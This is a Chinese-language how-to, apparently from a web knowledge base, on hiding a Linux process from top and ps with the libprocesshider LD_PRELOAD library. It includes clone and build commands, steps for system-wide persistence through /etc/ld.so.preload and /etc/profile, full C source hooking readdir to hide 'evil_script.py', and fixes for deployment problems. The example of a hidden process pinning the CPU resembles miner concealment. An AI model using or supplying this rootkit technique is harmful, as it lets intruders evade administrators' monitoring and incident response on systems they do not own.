主頁(yè) > 知識(shí)庫(kù) > linux 下隱藏進(jìn)程的一種方法及遇到的坑

linux 下隱藏進(jìn)程的一種方法及遇到的坑

熱門(mén)標(biāo)簽:百度競(jìng)價(jià)點(diǎn)擊價(jià)格的計(jì)算公式 智能手機(jī) 美圖手機(jī) 阿里云 使用U盤(pán)裝系統(tǒng) 網(wǎng)站建設(shè) 檢查注冊(cè)表項(xiàng) 硅谷的囚徒呼叫中心

前言

1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下載

2.思路就是利用 LD_PRELOAD 來(lái)實(shí)現(xiàn)系統(tǒng)函數(shù)的劫持

LD_PRELOAD是什么:

LD_PRELOAD是Linux系統(tǒng)的一個(gè)環(huán)境變量,它可以影響程序的運(yùn)行時(shí)的鏈接(Runtime linker),它允許你定義在程序運(yùn)行前優(yōu)先加載的動(dòng)態(tài)鏈接庫(kù)。這個(gè)功能主要就是用來(lái)有選擇性的載入不同動(dòng)態(tài)鏈接庫(kù)中的相同函數(shù)。通過(guò)這個(gè)環(huán)境變量,我們可以在主程序和其動(dòng)態(tài)鏈接庫(kù)的中間加載別的動(dòng)態(tài)鏈接庫(kù),甚至覆蓋正常的函數(shù)庫(kù)。一方面,我們可以以此功能來(lái)使用自己的或是更好的函數(shù)(無(wú)需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達(dá)到特定的目的。

實(shí)現(xiàn)

1.下載程序編譯

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2.移動(dòng)文件到/usr/local/lib/目錄下

mv libprocesshider.so /usr/local/lib/

3.把它加載到全局動(dòng)態(tài)連接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

測(cè)試

1.我們運(yùn)行evil_script.py

2.此時(shí)發(fā)現(xiàn)在top 與 ps 中都無(wú)法找到 evil_script.py

此時(shí)我們發(fā)現(xiàn) cpu 100%,但是卻找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";
/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
    return 0;
  }
  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    return 0;
  }
  buf[ret] = 0;
  return 1;
}
/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
  }
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  FILE* f = fopen(tmp, "r");
  if(f == NULL) {
    return 0;
  }
  if(fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    return 0;
  }
  fclose(f);
  int unused;
  sscanf(tmp, "%d (%[^)]s", &unused, buf);
  return 1;
}
#define DECLARE_READDIR(dirent, readdir)                \

static struct dirent* (*original_##readdir)(DIR*) = NULL;        \

struct dirent* readdir(DIR *dirp)                    \

{                                    \

  if(original_##readdir == NULL) {                  \

    original_##readdir = dlsym(RTLD_NEXT, "readdir");        \

    if(original_##readdir == NULL)                 \

    {                                \

      fprintf(stderr, "Error in dlsym: %s\n", dlerror());     \

    }                                \

  }                                  \

  struct dirent* dir;                         \

  while(1)                              \

  {                                  \

    dir = original_##readdir(dirp);                 \

    if(dir) {                            \

      char dir_name[256];                     \

      char process_name[256];                   \

      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    \

        strcmp(dir_name, "/proc") == 0 &&            \

        get_process_name(dir->d_name, process_name) &&     \

        strcmp(process_name, process_to_filter) == 0) {     \

        continue;                        \

      }                              \

    }                                \

    break;                             \

  }                                  \

  return dir;                             \

}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

1.程序定義了一個(gè)變量 process_to_filter 來(lái)控制不顯示哪個(gè)進(jìn)程名

2.重寫(xiě)readdir,

strcmp(process_name, process_to_filter) == 0)

當(dāng)發(fā)現(xiàn)當(dāng)前進(jìn)程名稱與 process_to_filter 相同時(shí),繼續(xù)循環(huán).

遇到的坑

1.某些Linux中這個(gè)程序編譯通不過(guò)

解決方法

刪除最后兩行中的一行

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

2.某些Linux中使用

shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
并不會(huì)生效
 此時(shí)我們需要配置環(huán)境變量
shell bmfxgkpt-yhd:~# vi /etc/profile
增加一行
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

總結(jié)

以上所述是小編給大家介紹的linux 下隱藏進(jìn)程的一種方法及遇到的坑,希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!

標(biāo)簽:通遼 黃山 賀州 湘潭 山南 懷化 煙臺(tái) 湖北

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《linux 下隱藏進(jìn)程的一種方法及遇到的坑》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266